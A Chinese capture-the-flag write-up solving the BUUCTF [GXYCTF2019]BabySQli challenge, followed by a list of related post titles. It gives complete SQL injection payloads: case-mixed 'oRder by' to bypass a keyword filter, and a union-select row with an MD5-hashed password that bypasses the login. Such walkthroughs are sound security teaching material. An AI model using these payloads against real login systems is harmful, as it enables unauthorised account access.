题目

这题看到这个页面,而且题目上说的。给人的感觉就是个SQL注入题。。。。
启动BurpSuite抓包看看

有两个可疑点:

  • 一是报用户错误(wrong user!),通常如果有这种错误的时候要先爆破账号,得到正确的账号后再去爆破密码。
  • 这里返回的绿色部分明显是加密后的数据

首先提取绿色部分的信息,经过排查发现可以先base32解密,再base64
原数据:

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

先base32解密:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

再base64解密:

select * from user where username = '$name'

看到这个SQL语句,果然是需要先爆破账号。。。
但实际上并不需要真的爆破账号,因为它的用户名就是:admin。这在许多CTF里很常见,因为它并不是真的要考爆破账号,所以它会设置一个常见的值。就好比是这个admin就很常见。

它返回了wrong pass!就表示可以进行下一步了。
接下来就是套路化的操作了,先通过order by来确定有多少列

name=admin' order by 1 %23&pw=123456


发现order by被过滤了,试试看大小写能不能绕过

name=admin' oRder by 1 %23&pw=123456


发现是可以的,所以:

  • name=admin’ oRder by 1 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 2 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 3 %23&pw=123456 (正常显示)
  • name=admin’ oRder by 4 %23&pw=123456 (报错显示)

所以可以确认该表中只有3列

那接下来就是爆破数据库了,但是经过测试发现它把括号()给过滤掉了。这咋整???函数基本都是要加括号的。。。。

然后上传找教程是说,这题可以通过union这个关键字创建虚拟表。
就好比我在自己的数据库中有个test的表,表里有6列。所以:

select * from users;


然后再通过union关键字生成虚拟的数据:

select * from users union select 1,2,3,4,5,6;


可以看到加上union关键字后会在第四行生成我们自己定义好的数据。为什么说是虚拟的呢?因为union产生的数据是临时的,在下次查询的时候就会发现它不见了(因为它没有实际保存在数据库中)。

而这题就是利用这个原理,一开始我们已经确定好了它的用户名为:admin。但是它的密码我们却不知道,这时我们可以通过union来创建一个虚拟的数据,然后再通过SQL语句来查询它。这样它就能正常返回值了。比如:

select * from users union select 1,'admin','your input password',4,5,6;


所以原题目的payload可以改成:

name=1' union select 1,'admin','123456' %23&pw=123456

但是却发现还是不能拿到flag,问题何在???

思路是对的,只是出题方不想你这么简单的拿flag。所以密码的那部分还加了md5加密。
正确的payload是:name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' %23&pw=123456

其中的e10adc3949ba59abbe56e057f20f883e123456经过MD5加密后的值。
这个123456和后面的pw=123456对应




总结: 不得不说,那些第一次靠自己做出来这道题的大佬是真的厉害。通过他们我又学到东西了

BUUCTF之[GXYCTF2019]BabySQli相关推荐

  1. BUUCTF | [GXYCTF2019]BabySQli

    BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识 当=号被过滤了使用like,rlike绕过 当or被过滤了使用大小写绕过,双写绕过,&&绕过 二.实战化渗 ...

  2. BUUCTF [GXYCTF2019]BabySQli 1

    刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器 就单单两个输入栏,,多少有点简陋 看标签叫Do you know who am I?看来是要用,先用万能 ...

  3. 【buu平台】[GXYCTF2019]BabySQli

    [buu平台][GXYCTF2019]BabySQli 查看页面源代码发现search.php,文件中有一段base32编码 [base32是由大写字母和数字构成,其结尾有三个等号,base64由大小 ...

  4. buuctf [GXYCTF2019]BabySQli

    今日份习题 名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子 开搞! 通过尝试发现or,=,()都被过滤了 输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...

  5. buuctf [GXYCTF2019]BabySQli

    常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...

  6. [ buuctf GXYCTF2019]BabySQli

    输入账户 密码 后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...

  7. BUUCTF——[GXYCTF2019]BabySQli

    文章目录 利用点 解题 分析 完 利用点 SQL字符型注入 UNION SELECT联合查询特性 解题 search.php的注释发现hint <!--MMZFM422K5HDASKDN5TVU ...

  8. BUUCTF[GXYCTF2019]BabySQli

    SQL注入题型,在进行了自己的一些测试发现,用户名存在admin,我们F12看看源码: <meta http-equiv="Content-Type" content=&qu ...

  9. BUUCTF:[GXYCTF2019]BabySQli

    打开靶机 是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...

最新文章

  1. C++ Primer 5th笔记(2)chapter 2变量和基本类型:constexpr 、auto、类型别名、decltype
  2. linux错误代码0x8008005,利用Windows10自带Linux学习(附带:0x8007019e错误解决方法)...
  3. 论文浅尝 | 基于动态知识图谱向量表示的对称合作对话代理的学习
  4. GoF23种设计模式之创建型模式之建造者模式
  5. 【seeprettyface.com】开源源码:Video-Auto-Wipe
  6. JSON (JavaScript Object Notation)
  7. Github开源项目总结
  8. 向前迈进!走入GC世界:G1 GC原理深入解析
  9. Windows10 如何清理注册表,教大家清理注册表方法
  10. 【WPF、UWP】搜索蓝牙设备
  11. 新一代医院信息系统(NGHIS)设计(2)——基础集成平台(I)
  12. 云摆摊 | 手把手教你制作ESP8266物联网创意点阵时钟,女朋友看了都想要!
  13. 挚爱身影渐隐。素绞无意世情狠
  14. 我是如何用问卷调查小程序来赚钱的
  15. 谷歌云服务_Google Cloud_使用注意
  16. EMC规划BRS产品线 推动私有云建设
  17. POJ1184-Smart typist
  18. java编写flash相册的制作软件_精美的flash相册制作软件
  19. 【中级软考—软件设计师】2操作系统2.3进程调度【】:2.3.1考点一:PV操作的概念
  20. 单面打印机打印小册子_如何在Microsoft Word中创建可打印的小册子

热门文章

  1. 登录页面的密码的显示与隐藏
  2. 作为一种实验的2050
  3. Unbuntu服务器ufw enable引发的ssh链接中断
  4. 量化交易之回测篇 - 添加获取天勤合约数据api
  5. Android获取虚拟导航键的高度
  6. domino 启动方式更改
  7. 解决github文件下载速度慢的问题
  8. Jira SynapseRT For Test Case
  9. 物联网开发板ESP8266的调试与使用
  10. 基于51单片机的人脸识别电子密码锁